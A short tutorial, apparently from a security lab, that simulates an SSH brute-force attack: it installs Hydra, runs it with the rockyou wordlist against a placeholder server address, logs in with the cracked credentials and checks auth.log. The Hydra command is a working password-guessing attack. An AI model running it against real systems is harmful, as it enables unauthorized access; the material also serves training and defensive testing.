brute-force-attack-simulation-using-hydra

1 Understanding SSH Brute Force Attacks

Brute force attacks involve systematically trying different password combinations to gain unauthorized access to a system. Hydra is a powerful tool that automates this process against SSH.

2 Installing and Configuring Hydra

  1. Install Hydra: 
    sudo apt install hydra -y

3 Executing the Brute Force Attack

  1. Run Hydra to attempt SSH login: 
    hydra -l <username> -P /usr/share/wordlists/rockyou.txt ssh://<server-ip>

-l username specifies the target username.

-P /usr/share/wordlists/rockyou.txt points to the password list.

ssh:// targets the SSH server.

  1. If the password is in rockyou.txt, Hydra will successfully crack it and display the credentials.

4 Gaining Access and Analyzing Results

  1. Once Hydra finds the correct password, log in: 
    ssh <username>@<server-ip>
  2. Review system logs: 
    sudo tail /var/log/auth.log